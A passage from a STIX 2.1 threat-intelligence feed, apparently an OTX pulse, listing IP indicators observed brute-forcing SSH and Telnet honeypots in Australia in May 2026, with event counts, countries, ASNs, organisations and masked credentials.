      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--ed6e677d-ed19-44a0-aa0b-6ba545b6cc81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T22:15:10.000Z",
      "valid_until": "2026-06-20T22:15:08.000Z"
    },
    {
      "created": "2026-05-19T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: AZ. ASN(s): 201814. Organisation(s): MEVSPACE sp. z o.o..",
      "id": "indicator--a55f8348-552d-479c-9577-dba47b6b07e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.205.211.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T23:15:11.000Z",
      "valid_until": "2026-06-20T23:15:08.000Z"
    },
    {
      "created": "2026-05-19T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--60866987-49f7-4b4b-9124-88489624f52e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.103.205.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T23:15:11.000Z",
      "valid_until": "2026-06-20T23:15:08.000Z"
    },
    {
      "created": "2026-05-19T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 11427. Organisation(s): Charter Communications Inc.",
      "id": "indicator--6efa6c74-ff0e-4c12-a8f0-047fbc23304b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '150.221.241.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T23:15:11.000Z",
      "valid_until": "2026-06-20T23:15:08.000Z"
    },
    {
      "created": "2026-05-19T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 10429. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--c35b49b8-1c04-4d0c-967b-d80ac62f3975",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.252.75.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T23:15:11.000Z",
      "valid_until": "2026-06-20T23:15:08.000Z"
    },
    {
      "created": "2026-05-19T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 206067. Organisation(s): Three.",
      "id": "indicator--45426ad6-b827-4022-9953-6a7850217d17",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.31.119.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T23:15:11.000Z",
      "valid_until": "2026-06-20T23:15:08.000Z"
    },
    {
      "created": "2026-05-19T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NI. ASN(s): 27742. Organisation(s): Amnet Telecomunicaciones S.A..",
      "id": "indicator--1caff985-caad-46f4-a7ff-adea21e25376",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.143.251.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T23:15:11.000Z",
      "valid_until": "2026-06-20T23:15:08.000Z"
    },
    {
      "created": "2026-05-19T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 268. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC. Usernames observed (masked): r**t, 3**********4, d****y, r*****o, a***n. Passwords observed (masked): 3***********4, 3**********4, ***, 1****6, 1*******e.",
      "id": "indicator--2428351a-6d2c-4685-a3e2-fa1652d88d63",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.169.250.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T23:15:11.000Z",
      "valid_until": "2026-06-20T23:15:08.000Z"
    },
    {
      "created": "2026-05-19T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 9930. Organisation(s): TIME dotCom Berhad No. 14, Jalan Majistret U126 Hicom Glenmarie Industrial Park 40150 Shah Al. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): !**b, 3***********4, 3**********4, a****3, c****3.",
      "id": "indicator--de54eee8-de33-4085-8149-4db6e645b9f2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '202.184.134.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T23:15:11.000Z",
      "valid_until": "2026-06-20T23:15:08.000Z"
    },
    {
      "created": "2026-05-19T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--738acdad-518b-416f-bf42-c17e758a94f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T23:15:11.000Z",
      "valid_until": "2026-06-20T23:15:08.000Z"
    },
    {
      "created": "2026-05-19T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 264837. Organisation(s): CORPORACION VISUAL NUEVA ESPARTA, C.A.",
      "id": "indicator--45b8cd4e-31c7-48a7-ae9d-5c6a5f1e080a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.52.141.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T23:15:11.000Z",
      "valid_until": "2026-06-20T23:15:08.000Z"
    },
    {
      "created": "2026-05-19T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 196. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, a***n, c****e, ***. Passwords observed (masked): 1****1, 1******8, 1*3@.com, 3***********4, 3**********4.",
      "id": "indicator--df980aac-2a68-4b70-9f70-2db38f82f01f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.130.39.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T23:15:11.000Z",
      "valid_until": "2026-06-20T23:15:08.000Z"
    },
    {
      "created": "2026-05-19T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d7b20f33-d119-4449-a92f-25c5c489cd76",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.64.216.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T23:15:11.000Z",
      "valid_until": "2026-06-20T23:15:08.000Z"
    },
    {
      "created": "2026-05-19T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TR. ASN(s): 47585. Organisation(s): Yigit Hosting Bilisim E-Ticaret Gida Sanayi Ticaret Limited Sirketi. Usernames observed (masked): r**t. Passwords observed (masked): m******a.",
      "id": "indicator--aae3e068-e3cd-4198-9332-0ff142c6dae7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.181.87.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T23:15:11.000Z",
      "valid_until": "2026-06-20T23:15:08.000Z"
    },
    {
      "created": "2026-05-19T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 15557. Organisation(s): Societe Francaise Du Radiotelephone - SFR SA.",
      "id": "indicator--b84957b6-6458-4947-afd1-2b31ef698d69",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '77.136.242.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T23:15:11.000Z",
      "valid_until": "2026-06-20T23:15:08.000Z"
    },
    {
      "created": "2026-05-20T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited.",
      "id": "indicator--e8a87a94-dae4-4c72-8838-4126ea24971b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '1.2.197.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T00:15:10.000Z",
      "valid_until": "2026-06-21T00:15:08.000Z"
    },
    {
      "created": "2026-05-20T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 133720. Organisation(s): Zess Networks Private Limited.",
      "id": "indicator--4d1da3aa-8c9b-4f21-b686-027466827bf3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.25.168.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T00:15:10.000Z",
      "valid_until": "2026-06-21T00:15:08.000Z"
    },
    {
      "created": "2026-05-20T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--349da16e-5bb7-448f-8e2f-284dda8ffa0c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.221.78.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T00:15:10.000Z",
      "valid_until": "2026-06-21T00:15:08.000Z"
    },
    {
      "created": "2026-05-20T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--a8412834-27d2-4932-bba2-8ae8a262355b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.245.6.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T00:15:10.000Z",
      "valid_until": "2026-06-21T00:15:08.000Z"
    },
    {
      "created": "2026-05-20T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 263790. Organisation(s): RED POWER INTERNET SRL.",
      "id": "indicator--e1b520a6-7f51-450c-8284-dfa75c1a2dd1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.121.106.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T00:15:10.000Z",
      "valid_until": "2026-06-21T00:15:08.000Z"
    },
    {
      "created": "2026-05-20T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9231. Organisation(s): China Mobile Hong Kong Company Limited.",
      "id": "indicator--4f253e14-e321-4928-baa1-2dd9a492cece",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '161.81.121.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T00:15:10.000Z",
      "valid_until": "2026-06-21T00:15:08.000Z"
    },
    {
      "created": "2026-05-20T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RS. ASN(s): 8400. Organisation(s): TELEKOM SRBIJA a.d..",
      "id": "indicator--53448e81-1103-46f2-a28b-d3e12a2be167",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.222.143.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T00:15:10.000Z",
      "valid_until": "2026-06-21T00:15:08.000Z"
    },
    {
      "created": "2026-05-20T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--8406b4f6-74a5-4511-b539-af6ab095602a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.19.176.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T00:15:10.000Z",
      "valid_until": "2026-06-21T00:15:08.000Z"
    },
    {
      "created": "2026-05-20T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--b8a7fbae-1cb3-442b-abd2-5a3fc5affa9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.0.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T00:15:10.000Z",
      "valid_until": "2026-06-21T00:15:08.000Z"
    },
    {
      "created": "2026-05-20T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--a70cccf8-3d39-4120-9a63-446bf12f6677",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.32.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T00:15:10.000Z",
      "valid_until": "2026-06-21T00:15:08.000Z"
    },
    {
      "created": "2026-05-20T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--416c1fe0-b764-46a5-ac4e-cb4a67a99889",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.93.156.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T00:15:10.000Z",
      "valid_until": "2026-06-21T00:15:08.000Z"
    },
    {
      "created": "2026-05-20T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--a7351bc0-1112-45d6-a5ee-24448be48e96",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.255.33.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T00:15:10.000Z",
      "valid_until": "2026-06-21T00:15:08.000Z"
    },
    {
      "created": "2026-05-20T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 16223. Organisation(s): Maxnet Telecom, Ltd.",
      "id": "indicator--0988b4e9-9bd1-4478-99d9-f43badd6bcce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.58.206.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T00:15:10.000Z",
      "valid_until": "2026-06-21T00:15:08.000Z"
    },
    {
      "created": "2026-05-20T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--e1d3adb2-363d-442f-beaa-34c83a6f0e69",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.54.83.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T00:15:10.000Z",
      "valid_until": "2026-06-21T00:15:08.000Z"
    },
    {
      "created": "2026-05-20T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--201a5ca0-377b-49a6-85e6-1e19d60bb54c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '8.222.233.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T00:15:10.000Z",
      "valid_until": "2026-06-21T00:15:08.000Z"
    },
    {
      "created": "2026-05-20T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--470d4dd1-46f4-4bc7-84e8-f9e360217d7e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '87.117.56.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T00:15:10.000Z",
      "valid_until": "2026-06-21T00:15:08.000Z"
    },
    {
      "created": "2026-05-20T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 30722. Organisation(s): Fastweb.",
      "id": "indicator--d14b1a37-75c6-4389-a8a3-3a2e5f3c4742",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.80.154.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T00:15:10.000Z",
      "valid_until": "2026-06-21T00:15:08.000Z"
    },
    {
      "created": "2026-05-20T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--5e2e7f44-8d9a-4559-85e1-2477ea092b5f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.103.93.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T01:15:11.000Z",
      "valid_until": "2026-06-21T01:15:09.000Z"
    },
    {
      "created": "2026-05-20T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--283be820-d886-4fdb-b006-b4434575d8fd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.52.107.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T01:15:11.000Z",
      "valid_until": "2026-06-21T01:15:09.000Z"
    },
    {
      "created": "2026-05-20T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--5fdf29ae-742b-489f-8aa3-38b8481b9dec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.17.151.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T01:15:11.000Z",
      "valid_until": "2026-06-21T01:15:09.000Z"
    },
    {
      "created": "2026-05-20T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 4230. Organisation(s): CLARO S.A..",
      "id": "indicator--fd8a32f5-faf4-40af-bb6a-ce92b6efdbe8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '191.56.185.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T01:15:11.000Z",
      "valid_until": "2026-06-21T01:15:09.000Z"
    },
    {
      "created": "2026-05-20T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
